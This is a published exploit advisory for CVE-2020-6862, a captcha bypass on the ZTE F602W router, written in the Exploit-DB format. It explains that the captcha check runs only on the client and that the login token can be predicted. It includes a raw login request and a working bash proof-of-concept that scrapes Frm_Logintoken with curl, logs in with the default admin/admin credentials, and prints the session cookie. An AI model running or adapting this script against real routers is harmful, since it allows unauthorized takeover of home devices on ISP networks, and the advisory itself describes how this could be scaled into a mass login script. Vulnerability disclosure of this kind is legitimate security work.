ZTE Router F602W - Captcha Bypass

# Exploit Title: ZTE Router F602W - Captcha Bypass 
# Exploit Author: Hritik Vijay (@MrHritik)
# Vendor Homepage: https://zte.com.cn
# Reported: 2019-06-14
# Version: F6x2W V6.0.10P2T2
# Version: F6x2W V6.0.10P2T5 
# Tested on: F602W 
# CVE: CVE-2020-6862

Background
-----------
Captcha is used to make sure the form is being filled by a real person
than an automated script. This is a very popular safety measure and
bypassing it could lead to potential compromise.

Introduction
------------
While logging in to the affected device you are presented with a
username, password and captcha field. Submitting the form results in an
HTTP request being sent out to /checkValidateCode.gch to validate the
captcha, if valid it goes on to really submit the login request. This
can be easily bypassed as this is a client side verification. One can
always ignore the response and proceed to forcefully submit the form via
Javascript (via calling the subpageSubmit() method).
A typical login request looks like this:

POST / HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Connection: close
Cookie: _TESTCOOKIESUPPORT=1
Upgrade-Insecure-Requests: 1

frashnum=&action=login&Frm_Logintoken=2&Username=admin&Password=admin&Validatecode=literally_anything

Though, firing the same request twice fails with a text on the top
saying "Error". This pretty much defeats our purpose. It turns out that
on every login attempt, the parameter Frm_Logintoken gets incremented by
one and is required to match the server side value. This can pretty
easily be achieved by some pattern matching. Thus allowing any script
to bypass the captcha and log in.

Threat
-------
A captcha bypass can really help in bruteforcing the credentials but
luckily the router limits the login trials to 3 attempts. In real
world though, things are a bit different. 
The affected ZTE router comes with a default password. Given that the 
devices on a same ISP network can access each other, it would be a 
matter of time before someone writes a script to log in to every router 
in the network and take control of it.

PoC
-------

#!/bin/bash

SERVER=192.168.1.1
USER="admin"
PASS="admin"

getToken(){
	curl -s  --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4
}

Frm_Logintoken=`getToken`

s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie)
if [[ $s -eq 302 ]]; then
	echo "Logged in"
	echo "Open http://$SERVER/start.ghtml"
	echo `grep -o Set-Cookie.* /tmp/zte_cookie`
else
	echo "Failed"
fi